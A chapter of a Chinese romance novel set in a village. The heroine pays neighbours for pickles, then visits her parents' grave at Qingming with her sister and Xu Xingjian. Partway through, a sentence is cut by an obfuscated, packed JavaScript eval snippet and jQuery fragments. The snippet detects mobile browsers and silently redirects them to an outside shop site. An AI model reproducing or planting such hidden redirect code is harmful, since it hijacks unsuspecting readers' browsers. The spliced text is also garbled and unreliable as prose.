当天傍晚，陈绍君挨家挨户地送钱。
先去刘家。刘家的腌菜卖得最好，按说好的二八分，她该拿两块八。陈绍君把钱递过去的时候，刘家媳妇正在灶台边剁猪草，手在围裙上蹭了蹭才接。她接过那几张票子，一张一张地对着光看了，忽然抬头，眼睛亮了：“陈老师，这——这是我挣的？”
“嗯，你挣的。你的腌菜好，回头客多。”
刘家媳妇把钱攥在手心里，激动地说：“那下批，我再多做一些。”
“好勒！”陈绍君爽快应下。
到孙嫂子家的时候，她的小闺女正蹲在门槛上啃苞谷，看见陈绍君来，赶紧跑进屋喊她妈。孙嫂子出来的时候围裙上沾着面粉，一听卖了四块多，笑得眉眼挤在一块儿：“我还以为，就随便做做，没人要呢。”
“怎么会，你手艺好，都能卖出去的！”陈绍君也笑了起来。
“那我再多做些！”
“好勒！”陈绍君爽快应下。
到小赵家时，她的男人刚收了工回来，正蹲在院子门口抽旱烟。小赵接过那三块二毛钱的时候，她男人把烟袋从嘴里拿下来，看了看钱，又看了看陈绍君。没说什么，但把烟袋锅子磕了磕，站起来，进屋给陈绍君端了碗水出来。
陈绍君走完最后一家的时候，天已经黑透了。银钩似的月亮升起来，挂在东边的屋顶上。
她推开自家院门的时候，小黑狗活泼得凑到她腿边打转，老树的影子在月光底下铺了一院，像碎银子似的斑斑驳驳地洒了满地。
她站在院子中央，看着院子里的坛子。
明天下班后，得把空缸腾出来了。第二批的菜已经在各家院子里晾着了，她挨家去看过，泡水的泡水，腌盐的腌盐，都在按着她的方子一步一步地来。
她推门进屋，点上灯，把小本子掏出来，在今天的日期底下写了一行字：总收入三十六元四角，分配完毕，下批预计二十日后。
写完，她吹了灯，在黑暗里坐了一会儿。躺下去睡的时候，忽然想起大家都说过的一句话——“下批我再多做一些”。
她的嘴角不自觉地弯了弯。
……
很快，就到了清明。
清明节前，雨连着下了三天，第四日总算住了，但云层却还厚厚地压着。院里的老树冒出了茸茸的新叶，被雨水洗得油亮亮的，风一过，叶子翻过来，便哗啦啦响成一片。
许行简也收到了父母的来信。
牛皮纸信封，封口用糨子粘了两道，边角磨得毛了，看得出在路上辗转了好几道手。信封上没有邮票，只有一行细瘦的字，墨水洇开了一些，笔画却稳稳的——是他母亲的字。
他中午回到家了才拆开。
里头只有一张纸。折了三折，展开来，字不多。
陈绍君来平房找他的时候，他正好在看信。
“你爸妈来信了？”她问。
“嗯。”他点了点头，然后把信折起来，放进抽屉里。
许行简的情绪并不好。陈绍君看着他，心里头有一根线在微微扯着。她知道他父母的事——审查、下放、通信管制、托人带信的艰难。那封信能到他手上，中间不知道过了多少人的手，转了多少道弯。信上那些字，是他母亲在什么样的灯底下、怀着什么样的心绪写下来的，她不敢深想。
她伸手，拍了拍他的肩。
“都会好起来的。”她的声音放轻了些。
许行简抬起眼，很轻的“嗯”了一声。
陈绍君心里翻了一下——五味杂陈。她学过历史，知道他父母在过什么样的日子，审查期间的人，连自己明天的饭碗在哪儿都不知道……
“等忙过这一阵，他们就好了，”她坚定地说，“到时候我陪你一起去看他们。”
“好。”
“嗯，”陈绍君说，“到时候带上昭宁。”
许行简说：“行。”
陈绍君的手掌在他肩头按了按，隔着春衫能感觉到底下那副肩胛骨的轮廓，硬硬的，稳当的。
门外头传来碎碎的脚步声，是陈昭宁从巷口跑了过来，手里攥着一把刚掐的野艾草，叶子湿漉漉的，沾着泥。她跑到平房门口，看见两个人挨着站，脚步猛地一刹，脸上浮起一个心知肚明的笑，嘴上却喊：“姐！我就知道你在姐夫这！你说今儿去给爸妈上坟的，我都把艾草掐好了！”
陈绍君回头看她。小姑娘跑得脸蛋红扑扑的，手里那把野艾青翠欲滴，沾着雨水，散发出清冽苦冽的香气。她看了看许行简，又看了看妹妹。
“走，一起去。”
许行简愣了一下：“我也去？”
“昭宁都叫你这么久姐夫了，你不去？”陈绍君已经转身往院门口走了，藏蓝春衫在灰蒙蒙的天光里格外显眼，“拿上那兜纸钱，在堂屋条案底下压着，我昨晚上叠好的。”
“好！”陈昭宁应下，立刻蹦蹦跳跳地跑到前头。
许行简的步子大，他几步就跨过了院门，从堂屋条案底下摸出那个布兜，兜口扎着麻绳，里头鼓鼓囊囊的，纸钱的金箔边角从缝隙里露出来，在阴天的光线里闪着暗沉的光。
三个人沿着田埂往村后的山坡上走。路是湿的，踩一脚一个浅印子，田里的麦苗刚返青，齐刷刷地铺了一层嫩绿，被雨洗得干干净净的。陈昭宁走在最前头，一会儿蹲下来摘一朵野花，一会儿回头催促后面的两个人。
陈绍君走在中间，许行简跟在她身后半步远的地方，手里拎着那个布兜，沉甸甸地坠着。田埂窄，两个人的肩膀偶尔会碰一下，碰了又分开，谁也不说话。
山坡上的坟地在几棵老柏树底下。墓碑是青石的，碑前的土是前几日陈绍君和陈昭宁来清理过的，新土的颜色发深，被雨泡得有些板结，脚踩上去软乎乎的。
陈昭宁到了坟前就安静了。她把手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735027|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里的一把野艾草理了理，蹲下去，整整齐齐地摆在碑前的石台上。艾草的叶子挨着青石面，雨水顺着叶尖淌下来，在石面上洇开一小片深色的印子。
陈绍君从布兜里掏出纸钱。她蹲下来，把纸钱码在碑前，掏出火柴划了一根。火苗蹿起来，舔着纸钱的边角，金箔纸在火焰里卷起来，纸灰被风一吹，飘起来，像深灰色的蝶，在柏树的枝桠间打着旋儿往上飞。
“陈绍君说：“我带昭宁来看你们了。”
她顿了顿，头没回，只侧了侧脸，往身后许行简的方向偏了一下：“还带了一个人。”
陈昭宁在边上蹲着，双手合十鞠了一躬，闭着眼睛念念有词，嘴巴一开一合的，不知道在说什么。念完了睁开眼，忽然往旁边挪了挪，使劲拽许行简的袖子，把他也拽得蹲下来。许行简被她拽得一个踉跄，蹲在陈绍君旁边，膝盖磕在湿泥地上，春裤的膝盖处立刻洇了两块深色。
他有些局促，手足无措地在膝盖上擦了擦手，然后双手合拢，学着陈昭宁的样子朝墓碑鞠了一躬。他等了很久才低声说了一句：“叔叔，阿姨，我是许行简。”
陈昭宁在旁边捂着嘴，眼睛弯弯地看着姐姐和许行简并排蹲在坟前，两个背影一高一低，挨得近。
纸钱烧完了，灰烬被风吹散，在雨后的空气里飘飘悠悠地散开。陈绍君站起来，拍了拍膝盖上的泥。许行简也跟着站起来，低头看了一眼自己的裤腿——两团深色的湿印子，像两个大补丁。
三个人从山坡上往下走的时候，雨又飘起来了。
蒙蒙的雨像一张细网，笼着田野、村舍、远处黛青的山影。陈昭宁跑在最前头，忽然回身冲他们喊："姐！姐夫！你们走快点儿呀，等会儿雨下大了又淋一身！"
陈绍君不紧不慢地走着。许行简跟在她旁边，两个人的步幅慢慢对齐了，左一脚，右一脚，踩在湿漉漉的田埂上，一溜深浅交错的新脚印，顺着坡势往下蜿蜒。她走在雨里，心里头那个装了五味杂陈的锅还在咕嘟着，但那些酸涩的东西被纸钱的火烘过一遭之后，温温地化开了，剩下一点暖融融的余味。
她伸手拢了拢被雨打湿的碎发。
山坡底下，陈昭宁已经跑到了田埂尽头，正站在那棵老槐树下朝他们挥手。许行简走在陈绍君身边，他的肩膀被雨淋湿了，深色的布料贴着肩胛骨的形状，衬得那副骨架宽阔而稳当。他侧过头看了她一眼，眼里有几分担心，但没说话，只收回目光继续走路。
风从山坡上吹下来，带着纸钱烧过的淡淡焦味和野艾清苦的香气，在湿润的空气里弥漫开来。田间麦苗的叶子在雨里沙沙地响着，像无数细小的手掌在轻轻拍着。
村子里的炊烟升起来了，但被雨压得矮矮的，只贴着屋脊往东边飘。
清明节，每家都会在灶上蒸青团、煮艾饭。那股子烟火气混在雨雾里，把整片田野、整个村庄都拢进了一层薄薄的暖意里。